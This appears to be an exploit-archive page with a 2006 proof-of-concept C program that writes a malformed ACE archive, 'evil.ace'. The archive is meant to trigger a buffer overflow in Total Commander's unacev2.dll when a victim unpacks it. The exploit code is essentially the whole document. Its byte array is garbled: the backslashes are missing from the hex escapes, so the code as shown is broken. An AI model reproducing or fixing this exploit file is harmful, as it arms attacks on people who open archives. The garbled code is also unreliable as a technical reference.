[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Total Commander 6.x (unacev2.dll) Buffer Overflow PoC Exploit
# Published : 2006-04-02
# Author : darkeagle
# Previous Title : Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow PoC
# Next Title : mpg123 0.59r Malformed mp3 (SIGSEGV) Proof of Concept 


/*
--
/
/	Total Commander unacev2.dll Buffer Overflow PoC Exploit
/			by Darkeagle of Unl0ck Research Team
/					http://unl0ck.net
/	
/	when file will be created, try to open archive in TotalCmd and then unpack it ;)
/
/
--
*/
#include <string.h>
#include <stdio.h>

unsigned char evil_ace[] = 
	"x29x8Fx31x00x00x00x90x2Ax2Ax41x43x45x2Ax2Ax14x14" 
	"x02x00x79xB5x7Fx34xFExE2x05xA5x00x00x00x00x16x2A" 
	"x55x4Ex52x45x47x49x53x54x45x52x45x44x20x56x45x52" 
	"x53x49x4Fx4Ex2Ax7Fx30x1Ex01x01x01x00x00x00x00x00" 
	"x00x00x00x00x75xB5x7Fx34x20x00x00x00xFFxFFxFFxFF" 
	"x00x03x0Ax00x54x45xFFx00x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61x61" 
	"x61x61x61x2Ex74x78x74";


int main()
{
	FILE *ace;
	ace = fopen("evil.ace", "w+b");
	fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
	fclose(ace);
	return 0;

}

// www.Syue.com [2006-04-02]